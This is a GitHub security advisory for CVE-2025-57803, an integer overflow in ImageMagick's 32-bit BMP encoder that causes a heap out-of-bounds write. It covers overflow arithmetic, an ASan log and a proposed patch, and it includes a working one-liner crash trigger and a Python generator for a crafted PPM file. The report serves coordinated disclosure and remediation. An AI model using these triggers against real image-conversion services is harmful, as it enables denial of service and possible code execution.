ghsa-mxvv-97wh-cfmm
Vulnerability from github
Summary
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
-
Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP.
-
Surface: Typical upload → normalize/thumbnail →
magick ... out.bmpworkers. -
32-bit: Vulnerable (reproduced with ASan).
-
64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
-
Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Scope & Affected Builds
-
Project: ImageMagick (BMP writer path,
WriteBMPImageincoders/bmp.c). -
Commit under test:
3fcd081c0278427fc0e8ac40ef75c0a1537792f7 -
Version string from the run:
ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712 -
Architecture: 32-bit i686 (
sizeof(size_t) == 4) with ASan/UBSan. -
Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
Root Cause (with code anchors)
Stride computation (writer)
c
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
Per-row base and 24-bpp loop (writer)
c
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
*q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes
}
Allocation (writer)
c
pixel_info = AcquireVirtualMemory(image->rows,
MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
Dimension “caps” (insufficient)
The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INT_MAX on 32-bit, so the caps do not prevent the bug.
Integer-Overflow Analysis (32-bit size_t)
Stride formula for 24-bpp:
bytes_per_line = 4 * ((width * 24 + 31) / 32)
There are two independent overflow hazards on 32-bit:
-
Stage-1 multiply+add in
(width * 24 + 31)
Overflow iffwidth > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969
→ at width ≥ 178,956,970 the numerator wraps small before/32, producing a tinybytes_per_line. -
Stage-2 final ×4 after the division
Letq = (width * 24 + 31) / 32. Final×4overflows iffq > 0x3FFFFFFF.
Solving gives width ≥ 1,431,655,765 (0x55555555).
Both thresholds are below INT_MAX (≈2.147e9), so “int caps” don’t help.
Mismatch predicate (guaranteed OOB when overflowed):
Per-row write for 24-bpp is row_bytes = 3*width. Safety requires row_bytes ≤ bytes_per_line.
Under either overflow, bytes_per_line collapses → 3*width > bytes_per_line holds → OOB-write.
Concrete Demonstration
Chosen width: W = 178,957,200 (just over Stage-1 bound)
-
Stage-1:
24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)→ 5535 -
Divide by 32:
5535 / 32 = 172 -
Multiply by 4:
bytes_per_line = 172 * 4 = **688** bytes← tiny stride -
Per-row data (24-bpp):
row_bytes = 3*W = **536,871,600** bytes -
Allocation used:
MagickMax(688, W+256) = **178,957,456** bytes -
Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.
Observed Result (ASan excerpt)
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
AcquireVirtualMemory MagickCore/memory.c:747
WriteBMPImage coders/bmp.c:2092
-
Binary: ELF 32-bit i386, Q8, non-HDRI
-
Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
Exploitability & Risk
-
Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
-
Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
-
Likely deployment: Server-side, non-interactive conversion pipelines (UI:N).
-
Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.
Note on 64-bit: Without integer overflow, bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
Reproduction (copy-paste triager script)
Test Environment:
-
docker run -it --rm --platform linux/386 debian:11 bash -
Install deps:
apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3 -
Clone & checkout: ImageMagick
7.1.2-0→ commit3fcd081c0278427f... -
Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
```bash ./configure \ --host=i686-pc-linux-gnu \ --build=x86_64-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)" ``` - Runtime limits to exercise writer:
bash
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
One-liner trigger (no input file):
bash
W=178957200
./utilities/magick \
-limit width 200000000 -limit height 200000000 \
-limit memory 268435456 -limit map 0 -limit disk 200000000000 \
-limit thread 1 \
-size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).
Alternate PoC (raw PPM generator):
```python
!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255
W > 178,956,969
with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") * (1024*1024) remaining = 3 * W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n
Then: magick huge.ppm out.bmp
```
Proposed Severity
-
Primary vector (server auto-convert):
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H→ 9.8 Critical -
If strictly CLI/manual conversion:
UI:R→ 8.8 High
Maintainer Pushbacks — Pre-empted
-
“MagickMax makes allocation large.” The row base advances by overflowed
bytes_per_line, causing row overlap and eventual region exit regardless of total allocation size. -
“We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.
-
“Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct.
Remediation (Summary)
Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.
Concretely:
- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.
- Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line.
- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.
A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).
Regression Tests to Include (PR-friendly)
-
32-bit overflow repros (with ASan):
-
rows=1,width ≥ 178,956,970,bpp=24→ now cleanly errors. -
rows=2, same bound → no row overlap; clean error.
-
-
64-bit sanity: Medium images (e.g.,
8192×4096, 24-bpp) round-trip; header’sbiSizeImage = rows * bytes_per_line. -
Packed bpp (1/4/8): Validate
row_bytes = (width*bpp+7)/8(guarded), 4-pad, and payload ≤ stride holds.
Attachments (private BMP_Package)
Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)
Disclosure & Coordination
-
Reporter: Lumina Mescuwa
-
Tested on: i686 Linux container (details in Repro)
-
Timeline: August 19th, 2025
Appendices
Appendix A — Patch block tailored to bmp.c
Where this hooks in (current code):
-
Stride is computed here:
bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32); -
Header uses
bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows); -
Allocation uses
AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels)); -
24-bpp row loop writes pixels then zero-pads up to
bytes_per_line(so the per-row slot size matters):for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;
Suggested Patch (minimal surface, guards + invariant)
I recommend this in place of the existing bytes_per_line assignment and the subsequent bmp_info.image_size / allocation block. Keep your macros and local variables as-is.
```c / --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- /
/ 1) Guard the original stride arithmetic (preserve behavior, add checks). / if (bmp_info.bits_per_pixel == 0 || (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31; / Divide first; then check the final ×4 won't overflow. / _tmp /= 32; if (_tmp > (SIZE_MAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bytes_per_line = 4 * _tmp; / same formula as before, now checked /
/ 2) Compute the actual data bytes written per row for the chosen bpp. / size_t row_bytes; if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) { / packed: ceil(widthbpp/8) / if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3; } else { / 16/24/32 bpp: (bpp/8) * width */ size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8; if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = bpp_bytes * (size_t)image->columns; }
/ 3) Per-row safety invariant: the payload must fit the stride. / if (row_bytes > bytes_per_line) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
/ 4) Guard header size and allocation products. / if ((size_t)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
/ biSizeImage = rows * bytes_per_line (DIB field is 32-bit) / if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);
/ Allocation count = rows * stride_used, with existing MagickMax policy. / size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL); if (_stride > SIZE_MAX / (size_t)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(pixels)); if (pixel_info == (MemoryInfo ) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
/ Optional: keep zeroing aligned to computed header size. / (void) memset(pixels, 0, (size_t) bmp_info.image_size);
/ --- PATCH END --- / ```
Why this is the right spot?
-
It replaces the unguarded stride line you currently have, without changing the algorithm (still
4*((W*bpp+31)/32)). -
It fixes the header (
biSizeImage) to be a checked product, instead of a potentially wrapped multiplication. -
It guards allocation where you presently allocate
rows × MagickMax(bytes_per_line, columns+256). -
The invariant
row_bytes ≤ bytes_per_lineensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads tobytes_per_line) can never exceed the per-row slot the code relies on.
Notes
-
Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected.
-
Header consistency:
biSizeImage = rows * bytes_per_lineremains true by construction, but now cannot overflow a 32-bit DIB field. -
Defensive alignment: If you prefer, you can compute
bytes_per_lineas((row_bytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
A slightly larger “helpers” variant (with safe_mul_size / safe_add_size utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.
Appendix B — Arithmetic Worked Example (W=178,957,200)
-
(24W + 31) mod 2^32 = 5535 -
bytes_per_line = 4 * (5535/32) = 688 -
row_bytes (24-bpp) = 536,871,600 -
Allocation via
MagickMax = 178,957,456→ immediate row 0 out-of-bounds.
Appendix C — Raw ASan Log (trimmed)
```
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in __interceptor_posix_memalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092 ```
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57803"
],
"database_specific": {
"cwe_ids": [
"CWE-122",
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-26T16:07:27Z",
"nvd_published_at": "2025-08-26T18:15:47Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA 32-bit integer overflow in the BMP encoder\u2019s scanline-stride computation collapses\u00a0`bytes_per_line`\u00a0(stride) to a tiny value while the per-row writer still emits\u00a0`3 \u00d7 width`\u00a0bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.\n\n- **Impact:**\u00a0Attacker-controlled heap out-of-bounds (OOB) write during conversion\u00a0**to BMP**.\n \n- **Surface:**\u00a0Typical upload \u2192 normalize/thumbnail \u2192\u00a0`magick ... out.bmp`\u00a0workers.\n \n- **32-bit:**\u00a0**Vulnerable**\u00a0(reproduced with ASan).\n \n- **64-bit:**\u00a0Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.\n \n- **Proposed severity:**\u00a0**Critical 9.8**\u00a0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n \n\n---\n\n## Scope \u0026 Affected Builds\n\n- **Project:**\u00a0ImageMagick (BMP writer path,\u00a0`WriteBMPImage`\u00a0in\u00a0`coders/bmp.c`).\n \n- **Commit under test:**\u00a0`3fcd081c0278427fc0e8ac40ef75c0a1537792f7`\n \n- **Version string from the run:**\u00a0`ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`\n \n- **Architecture:**\u00a032-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.\n \n- **Note on other versions:**\u00a0Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.\n \n\n---\n\n## Root Cause (with code anchors)\n\n### Stride computation (writer)\n\n```c\nbytes_per_line = 4 * ((image-\u003ecolumns * bmp_info.bits_per_pixel + 31) / 32);\n```\n\n### Per-row base and 24-bpp loop (writer)\n\n```c\nq = pixels + ((ssize_t)image-\u003erows - y - 1) * (ssize_t)bytes_per_line;\nfor (x = 0; x \u003c (ssize_t)image-\u003ecolumns; x++) {\n *q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes\n}\n```\n\n### Allocation (writer)\n\n```c\npixel_info = AcquireVirtualMemory(image-\u003erows,\n MagickMax(bytes_per_line, image-\u003ecolumns + 256UL) * sizeof(*pixels));\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n```\n\n### Dimension \u201ccaps\u201d (insufficient)\n\nThe writer rejects dimensions that don\u2019t round-trip through\u00a0`signed int`, but both overflow thresholds below are\u00a0**\u2264 INT_MAX**\u00a0on 32-bit, so the caps\u00a0**do not prevent**\u00a0the bug.\n\n---\n\n## Integer-Overflow Analysis (32-bit\u00a0`size_t`)\n\nStride formula for 24-bpp:\n\n```\nbytes_per_line = 4 * ((width * 24 + 31) / 32)\n```\n\nThere are\u00a0**two independent overflow hazards**\u00a0on 32-bit:\n\n1. **Stage-1 multiply+add**\u00a0in\u00a0`(width * 24 + 31)` \n Overflow iff\u00a0`width \u003e \u230a(0xFFFFFFFF \u2212 31) / 24\u230b = 178,956,969` \n \u2192 at\u00a0**width \u2265 178,956,970**\u00a0the numerator wraps small before\u00a0`/32`, producing a\u00a0**tiny**\u00a0`bytes_per_line`.\n \n2. **Stage-2 final \u00d74**\u00a0after the division \n Let\u00a0`q = (width * 24 + 31) / 32`. Final\u00a0`\u00d74`\u00a0overflows iff\u00a0`q \u003e 0x3FFFFFFF`. \n Solving gives\u00a0**width \u2265 1,431,655,765 (0x55555555)**.\n \n\nBoth thresholds are\u00a0**below**\u00a0`INT_MAX`\u00a0(\u22482.147e9), so \u201cint caps\u201d don\u2019t help.\n\n**Mismatch predicate (guaranteed OOB when overflowed):** \nPer-row write for 24-bpp is\u00a0`row_bytes = 3*width`. Safety requires\u00a0`row_bytes \u2264 bytes_per_line`. \nUnder either overflow,\u00a0`bytes_per_line`\u00a0collapses \u2192\u00a0`3*width \u003e bytes_per_line`\u00a0holds \u2192\u00a0**OOB-write**.\n\n---\n\n## Concrete Demonstration\n\nChosen width:\u00a0**`W = 178,957,200`**\u00a0(just over Stage-1 bound)\n\n- Stage-1:\u00a0`24*W + 31 = 4,294,972,831 \u2261 0x0000159F (mod 2^32)`\u00a0\u2192\u00a0**5535**\n \n- Divide by 32:\u00a0`5535 / 32 = 172`\n \n- Multiply by 4:\u00a0`bytes_per_line = 172 * 4 = **688** bytes`\u00a0\u2190 tiny stride\n \n- Per-row data (24-bpp):\u00a0`row_bytes = 3*W = **536,871,600** bytes`\n \n- Allocation used:\u00a0`MagickMax(688, W+256) = **178,957,456** bytes`\n \n- **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.\n \n---\n\n## Observed Result (ASan excerpt)\n\n```\nERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 in WriteBMPImage coders/bmp.c:2309\n...\nallocated by:\n AcquireVirtualMemory MagickCore/memory.c:747\n WriteBMPImage coders/bmp.c:2092\n```\n\n- Binary:\u00a0**ELF 32-bit i386**, Q8, non-HDRI\n \n- Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)\n \n\n---\n\n## Exploitability \u0026 Risk\n\n- **Primitive:**\u00a0Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.\n \n- **Control:**\u00a0Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).\n \n- **Likely deployment:**\u00a0Server-side, non-interactive conversion pipelines (UI:N).\n \n- **Outcome:**\u00a0At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to\u00a0**RCE**.\n \n\n**Note on 64-bit:**\u00a0Without integer overflow,\u00a0`bytes_per_line = 4 * ceil((3*width)/4) \u2265 3*width`, so the mismatch doesn\u2019t arise. Still add product/size checks to prevent DoS and future refactors.\n\n---\n\n## Reproduction (copy-paste triager script)\n\n**Test Environment:**\n\n- `docker run -it --rm --platform linux/386 debian:11 bash`\n \n- Install deps:\u00a0`apt-get update \u0026\u0026 apt-get install -y build-essential git autoconf automake libtool pkg-config python3`\n \n- Clone \u0026 checkout: ImageMagick\u00a0`7.1.2-0`\u00a0\u2192 commit\u00a0`3fcd081c0278427f...`\n \n- Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):\n\n```bash\n./configure \\\n --host=i686-pc-linux-gnu \\\n --build=x86_64-pc-linux-gnu \\\n --disable-dependency-tracking \\\n --disable-silent-rules \\\n --disable-shared \\\n --disable-openmp \\\n --disable-docs \\\n --without-x \\\n --without-perl \\\n --without-magick-plus-plus \\\n --without-lqr \\\n --without-zstd \\\n --without-tiff \\\n --with-quantum-depth=8 \\\n --disable-hdri \\\n CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j\"$(nproc)\"\n```\n- Runtime limits to exercise writer:\n\n```bash\nexport MAGICK_WIDTH_LIMIT=200000000\nexport MAGICK_HEIGHT_LIMIT=200000000\nexport MAGICK_TEMPORARY_PATH=/tmp\nexport TMPDIR=/tmp\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0\"\n```\n\n**One-liner trigger (no input file):**\n\n```bash\nW=178957200\n./utilities/magick \\\n -limit width 200000000 -limit height 200000000 \\\n -limit memory 268435456 -limit map 0 -limit disk 200000000000 \\\n -limit thread 1 \\\n -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null\n```\n\n**Expected:**\u00a0ASan heap-buffer-overflow in\u00a0`WriteBMPImage` (will be provided in a private gist link).\n\n**Alternate PoC (raw PPM generator):**\n\n```python\n#!/usr/bin/env python3\nW, H, MAXV = 180_000_000, 1, 255 \n# W \u003e 178,956,969\nwith open(\"huge.ppm\", \"wb\") as f:\n f.write(f\"P6\\n{W} {H}\\n{MAXV}\\n\".encode(\"ascii\"))\n chunk = (b\"\\x41\\x42\\x43\") * (1024*1024)\n remaining = 3 * W\n while remaining:\n n = min(remaining, len(chunk))\n f.write(chunk[:n]); remaining -= n\n# Then: magick huge.ppm out.bmp\n```\n\n---\n\n## Proposed Severity\n\n- **Primary vector (server auto-convert):**\u00a0`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\u00a0\u2192\u00a0**9.8 Critical**\n \n- **If strictly CLI/manual conversion:**\u00a0`UI:R`\u00a0\u2192\u00a0**8.8 High**\n \n\n---\n\n## Maintainer Pushbacks \u2014 Pre-empted\n\n- **\u201cMagickMax makes allocation large.\u201d**\u00a0The row\u00a0**base**\u00a0advances by\u00a0**overflowed\u00a0`bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.\n \n- **\u201cWe\u2019re 64-bit only.\u201d**\u00a0Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.\n \n- **\u201cResource policy blocks large images.\u201d**\u00a0That\u2019s environment-dependent defense-in-depth; arithmetic must be correct.\n \n---\n\n## Remediation (Summary)\n\nAdd checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.\n\nConcretely:\n\n- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.\n- Compute row_bytes for the chosen bpp and assert row_bytes \u003c= bytes_per_line.\n- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.\n\nA full suggested guarded implementation is provided in Appendix A \u2014 Full patch (for maintainers).\n\n---\n\n## Regression Tests to Include (PR-friendly)\n\n1. **32-bit overflow repros**\u00a0(with ASan):\n \n - `rows=1`,\u00a0`width \u2265 178,956,970`,\u00a0`bpp=24`\u00a0\u2192 now cleanly errors.\n \n - `rows=2`, same bound \u2192 no row overlap; clean error.\n \n2. **64-bit sanity:**\u00a0Medium images (e.g.,\u00a0`8192\u00d74096`, 24-bpp) round-trip; header\u2019s\u00a0`biSizeImage = rows * bytes_per_line`.\n \n3. **Packed bpp (1/4/8):**\u00a0Validate\u00a0`row_bytes = (width*bpp+7)/8`\u00a0(guarded), 4-pad, and\u00a0**payload \u2264 stride**\u00a0holds.\n\n---\n\n## Attachments (private BMP_Package) \nProvided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)\n\n---\n\n## Disclosure \u0026 Coordination\n\n- **Reporter:**\u00a0Lumina Mescuwa\n \n- **Tested on:**\u00a0i686 Linux container (details in Repro)\n \n- **Timeline:**\u00a0August 19th, 2025\n \n\n---\n\n## Appendices\n\n### Appendix A \u2014 Patch block tailored to\u00a0 `bmp.c`\n\n**Where this hooks in (current code):**\n\n- Stride is computed here:\u00a0`bytes_per_line=4*((image-\u003ecolumns*bmp_info.bits_per_pixel+31)/32);`\n \n- Header uses\u00a0`bmp_info.image_size=(unsigned int) (bytes_per_line*image-\u003erows);`\n \n- Allocation uses\u00a0`AcquireVirtualMemory(image-\u003erows, MagickMax(bytes_per_line, image-\u003ecolumns+256UL)*sizeof(*pixels));`\n \n- 24-bpp row loop writes pixels then zero-pads up to\u00a0`bytes_per_line`\u00a0(so the per-row slot size matters):\u00a0`for (x=3L*(ssize_t)image-\u003ecolumns; x \u003c (ssize_t)bytes_per_line; x++) *q++=0x00;`\n \n\n---\n\n## Suggested Patch (minimal surface, guards + invariant)\n\nI recommend this\u00a0**in place of**\u00a0the existing\u00a0`bytes_per_line`\u00a0assignment and the subsequent\u00a0`bmp_info.image_size`\u00a0/ allocation block. Keep your macros and local variables as-is.\n\n```c\n/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */\n\n/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */\nif (bmp_info.bits_per_pixel == 0 ||\n (size_t)image-\u003ecolumns \u003e (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nsize_t _tmp = (size_t)image-\u003ecolumns * (size_t)bmp_info.bits_per_pixel + 31;\n/* Divide first; then check the final \u00d74 won\u0027t overflow. */\n_tmp /= 32;\nif (_tmp \u003e (SIZE_MAX / 4))\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nbytes_per_line = 4 * _tmp; /* same formula as before, now checked */\n\n/* 2) Compute the actual data bytes written per row for the chosen bpp. */\nsize_t row_bytes;\nif (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {\n /* packed: ceil(width*bpp/8) */\n if ((size_t)image-\u003ecolumns \u003e (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n row_bytes = (((size_t)image-\u003ecolumns * (size_t)bmp_info.bits_per_pixel) + 7) \u003e\u003e 3;\n} else {\n /* 16/24/32 bpp: (bpp/8) * width */\n size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;\n if (bpp_bytes == 0 || (size_t)image-\u003ecolumns \u003e SIZE_MAX / bpp_bytes)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n row_bytes = bpp_bytes * (size_t)image-\u003ecolumns;\n}\n\n/* 3) Per-row safety invariant: the payload must fit the stride. */\nif (row_bytes \u003e bytes_per_line)\n ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\n/* 4) Guard header size and allocation products. */\nif ((size_t)image-\u003erows == 0)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\n/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */\nif (bytes_per_line \u003e 0xFFFFFFFFu / (size_t)image-\u003erows)\n ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\nbmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image-\u003erows);\n\n/* Allocation count = rows * stride_used, with existing MagickMax policy. */\nsize_t _stride = MagickMax(bytes_per_line, (size_t)image-\u003ecolumns + 256UL);\nif (_stride \u003e SIZE_MAX / (size_t)image-\u003erows)\n ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\npixel_info = AcquireVirtualMemory((size_t)image-\u003erows, _stride * sizeof(*pixels));\nif (pixel_info == (MemoryInfo *) NULL)\n ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n\n/* Optional: keep zeroing aligned to computed header size. */\n(void) memset(pixels, 0, (size_t) bmp_info.image_size);\n\n/* --- PATCH END --- */\n```\n\n### Why this is the right spot?\n\n- It\u00a0**replaces**\u00a0the unguarded stride line you currently have, without changing the algorithm (still\u00a0`4*((W*bpp+31)/32)`).\u00a0\n \n- 